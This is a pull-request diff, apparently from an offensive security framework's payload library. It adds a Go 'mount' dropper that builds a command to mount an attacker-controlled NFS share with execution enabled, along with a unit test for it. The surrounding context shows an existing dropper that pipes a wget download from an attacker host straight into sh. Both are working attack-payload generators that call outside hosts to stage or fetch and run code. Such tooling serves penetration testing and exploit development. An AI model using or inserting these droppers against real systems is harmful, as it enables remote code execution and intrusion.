Merge pull request #427 from vulncheck-oss/mountv3Only

Adds a `mount` binary dropper

Author: j-baines

payload/dropper/dropper_test.go

@@ -181,3 +181,10 @@ func TestPHPHTTP(t *testing.T) {
 		t.Fatal("Mysterious inclusion of SSL logic")
 	}
 }
+
+func TestMountV3Only(t *testing.T) {
+	mountPayload := dropper.Unix.Mountv3Only("127.0.0.1", "/tmp/nfsshare", "./dir")
+	if mountPayload != "mount -o vers=3,nolock,exec,tcp -t nfs 127.0.0.1:/tmp/nfsshare ./dir" {
+		t.Fatal("Unexpected Mountv3Only formatting")
+	}
+}

payload/dropper/unix.go

@@ -54,3 +54,13 @@ func (unix *UnixPayload) WgetHTTP(lhost string, lport int, ssl bool, downloadFil
 
 	return fmt.Sprintf("wget -qO- http://%s | sh", uri)
 }
+
+// Mount a remote NFS directory using NFS v3. This will mount the attacker controlled share at
+// <lhost>:<lshareDir> and make it available to the attacker at <rshareDir>. Usage example:
+//
+//	Mountv3Only("10.9.49.2","/tmp/nfsshare", "./b")
+//
+// This function does not attempt to actually execute any files on the share
+func (unix *UnixPayload) Mountv3Only(lhost string, lshareDir string, rshareDir string) string {
+	return fmt.Sprintf("mount -o vers=3,nolock,exec,tcp -t nfs %s:%s %s", lhost, lshareDir, rshareDir)
+}